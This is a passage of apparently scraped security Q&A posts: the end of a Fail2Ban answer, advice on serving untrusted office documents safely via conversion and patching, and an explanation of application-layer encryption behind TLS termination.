If you still want to block them or if they become more frequent and start to put more load on your server you can adjust your Fail2Ban rules to be more strict, there's no risk of false positives here so you can safely ban them after a single attempt.


How should I serve untrusted / unsanitized documents (PDF, DOC, XLS) to end users over the web? My website will be hosting documents for end users and I would like to make this as secure as possible.

Question

Assuming that I have a need to share documents on a website that may contain hostile code, what should I do to protect myself and my end users?

It sounds like you are concerned about viewing documents from an untrusted source (e.g., concerned about the risk that a malicious document might exploit a vulnerability in your PDF viewer, or in Word, or the like).  That's a reasonable concern.

If that's the concern, one way to mitigate it is to use Google Docs to view the document.  Google Docs provides the ability to view documents in your web browser.  Google converts the document into HTML on Google's servers, and then sends the HTML to your browser.  Google then takes responsibility for making sure their servers can handle malicious documents safely.  This is a reasonable approach to protecting yourself against malicious documents.

The primary downside is that it may not be a good fit for viewing confidential documents, because you'd have to upload them to Google before you could view them in this way.

An alternative defense is to keep your document viewers fully patched.  I recommend turning on automatic updates for Adobe Reader and Microsoft Office.  This is an alternative way to mitigate the risk.


Use of encrypting data in transit over a HTTPS connection I find certain APIs (that provide sensitive information) using algorithms like ECDHE with X25519, on top of the already encrypted SSL connection. This compels us to use libraries like Tink (when we have to use it in Android Apps) that provides such algorithms, though the classes it provides us for using such algorithms is explicitly marked not to be used in production.
Is there any reason this could have use cases when transmitting sensitive information?

One reason can be deployment structure of the applications. Many applications have a web server that is responsible for static resources only, and delegates dynamic requests to a separate application. Such web server is often a TLS/SSL termination point and the connection from this web server to the application remains not encrypted. In case one wants to ensure that data are encrypted on the whole way to the application, a separate encryption can be used, like what you describe.